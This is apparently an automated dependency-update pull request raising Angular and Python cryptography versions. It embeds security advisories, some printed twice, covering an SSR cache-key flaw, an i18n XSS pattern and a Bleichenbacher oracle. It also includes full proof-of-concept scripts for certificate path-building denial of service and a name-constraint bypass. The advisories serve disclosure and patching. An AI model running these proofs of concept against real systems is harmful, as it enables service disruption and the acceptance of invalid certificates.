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chore(deps): [operational-ai-leap] Update vulnerabilityAlerts [SECURITY] - #680

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chore(deps): [operational-ai-leap] Update vulnerabilityAlerts [SECURITY]#680
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This PR contains the following updates:

Package Change Age Confidence
@angular/common (source) 20.3.26 → 20.3.27 age confidence
@angular/compiler (source) 20.3.26 → 20.3.27 age confidence
@angular/core (source) 20.3.26 → 20.3.27 age confidence
cryptography (changelog) 50.0.0 → 50.0.1 age confidence

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Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Angular: Cache-Key Ambiguity in HttpTransferCache Leading to Cross-Request Response Reuse and State Poisoning

CVE-2026-68945 / GHSA-jhpw-976m-542j

More information

Details

Angular's HttpTransferCache caches HTTP requests made during Server-Side Rendering (SSR) so that they can be reused during client-side hydration.

During SSR, HttpTransferCache previously generated identical key material for distinct request parameters when repeated values were present because repeated values were joined with commas:

new HttpParams().set('role', 'user,admin')
new HttpParams().append('role', 'user').append('role', 'admin')

Both requests previously serialized as role=user,admin, allowing distinct HttpClient requests to produce the same transfer-cache key material.

Impact

In an SSR application, this cache-key ambiguity can make a later security-sensitive HttpClient request receive the response from an earlier semantically different request in the same render. For example, an attacker-influenced scalar-comma request can be cached and then replayed as the response for a trusted repeated-param authorization or data request to the same URL. As a result, Angular's server-rendered output can be based on the wrong backend response because the trusted request is not dispatched. This can lead to:

  • State Poisoning: Using incorrect or attacker-influenced cached responses for subsequent application logic.
  • Cross-Request Response Reuse: Reusing cached responses across requests with semantically different parameters.
Patched Versions
  • 22.0.2
  • 21.2.19
  • 20.3.27
Workarounds

If you cannot upgrade immediately, configure your HttpClient requests to skip transfer caching for sensitive endpoints where repeated parameter keys are used:

this.http.get('/api/resource', {
  transferCache: false
});

Alternatively, disable the HTTP transfer cache globally in your application bootstrap config:

import { provideClientHydration, withNoHttpTransferCache } from '@angular/platform-browser';

export const appConfig = {
  providers: [
    provideClientHydration(
      withNoHttpTransferCache()
    )
  ]
};

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Angular: Cache-Key Ambiguity in HttpTransferCache Leading to Cross-Request Response Reuse and State Poisoning

CVE-2026-68945 / GHSA-jhpw-976m-542j

More information

Details

Angular's HttpTransferCache caches HTTP requests made during Server-Side Rendering (SSR) so that they can be reused during client-side hydration.

During SSR, HttpTransferCache previously generated identical key material for distinct request parameters when repeated values were present because repeated values were joined with commas:

new HttpParams().set('role', 'user,admin')
new HttpParams().append('role', 'user').append('role', 'admin')

Both requests previously serialized as role=user,admin, allowing distinct HttpClient requests to produce the same transfer-cache key material.

Impact

In an SSR application, this cache-key ambiguity can make a later security-sensitive HttpClient request receive the response from an earlier semantically different request in the same render. For example, an attacker-influenced scalar-comma request can be cached and then replayed as the response for a trusted repeated-param authorization or data request to the same URL. As a result, Angular's server-rendered output can be based on the wrong backend response because the trusted request is not dispatched. This can lead to:

  • State Poisoning: Using incorrect or attacker-influenced cached responses for subsequent application logic.
  • Cross-Request Response Reuse: Reusing cached responses across requests with semantically different parameters.
Patched Versions
  • 22.0.2
  • 21.2.19
  • 20.3.27
Workarounds

If you cannot upgrade immediately, configure your HttpClient requests to skip transfer caching for sensitive endpoints where repeated parameter keys are used:

this.http.get('/api/resource', {
  transferCache: false
});

Alternatively, disable the HTTP transfer cache globally in your application bootstrap config:

import { provideClientHydration, withNoHttpTransferCache } from '@angular/platform-browser';

export const appConfig = {
  providers: [
    provideClientHydration(
      withNoHttpTransferCache()
    )
  ]
};

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Angular i18n: Cross-Site Scripting (XSS) via event-handler attributes

CVE-2026-69151 / GHSA-jj27-h5hq-8x99

More information

Details

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular compiler's internationalization (i18n) pipeline. Although Angular disallows binding to event-handler attributes such as onclick and onerror through standard attribute validation (validateAttribute() / validateProperty()), the i18n metadata collection path allowed these same attribute names to be marked for translation using i18n-on* attributes (e.g., i18n-onerror).

When exploited, a lower-trust translation file could replace a benign static handler such as onerror="void 0" with arbitrary executable JavaScript in the localized build.

The following example illustrates a vulnerable pattern:

<img src="foo.jpg" onerror="void 0" i18n-onerror />
Impact

When exploited, this vulnerability allows arbitrary JavaScript execution within the context of the vulnerable application's domain if an attacker can control or influence the translation files used during localization. This can lead to:

  • Session Hijacking: Accessing session cookies, tokens, or sensitive user data.
  • Unauthorized Actions: Performing actions on behalf of the authenticated user.
Patched Versions
  • 22.0.1
  • 21.2.19
  • 20.3.27
Workarounds

Ensure that static event-handler attributes (e.g., onerror, onclick) are never marked for internationalization (i18n-on*) in application templates, and ensure translation files are sourced from trusted origins.

Severity

  • CVSS Score: 7.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Angular i18n: Cross-Site Scripting (XSS) via event-handler attributes

CVE-2026-69151 / GHSA-jj27-h5hq-8x99

More information

Details

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular compiler's internationalization (i18n) pipeline. Although Angular disallows binding to event-handler attributes such as onclick and onerror through standard attribute validation (validateAttribute() / validateProperty()), the i18n metadata collection path allowed these same attribute names to be marked for translation using i18n-on* attributes (e.g., i18n-onerror).

When exploited, a lower-trust translation file could replace a benign static handler such as onerror="void 0" with arbitrary executable JavaScript in the localized build.

The following example illustrates a vulnerable pattern:

<img src="foo.jpg" onerror="void 0" i18n-onerror />
Impact

When exploited, this vulnerability allows arbitrary JavaScript execution within the context of the vulnerable application's domain if an attacker can control or influence the translation files used during localization. This can lead to:

  • Session Hijacking: Accessing session cookies, tokens, or sensitive user data.
  • Unauthorized Actions: Performing actions on behalf of the authenticated user.
Patched Versions
  • 22.0.1
  • 21.2.19
  • 20.3.27
Workarounds

Ensure that static event-handler attributes (e.g., onerror, onclick) are never marked for internationalization (i18n-on*) in application templates, and ensure translation files are sourced from trusted origins.

Severity

  • CVSS Score: 7.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Vulnerable OpenSSL included in cryptography wheels

GHSA-537c-gmf6-5ccf

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww / PYSEC-2026-3553

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829
PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)
Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c / PYSEC-2026-3554

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")
Impact

Acceptance of invalid certificate chain.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww / PYSEC-2026-3553

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829
PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)
Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c / PYSEC-2026-3554

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")
Impact

Acceptance of invalid certificate chain.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5 / PYSEC-2026-3552

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

  1. invalid RSA padding → Decryption failed
  2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N
  3. correct length, wrong key → Invalid padding bytes.
  4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

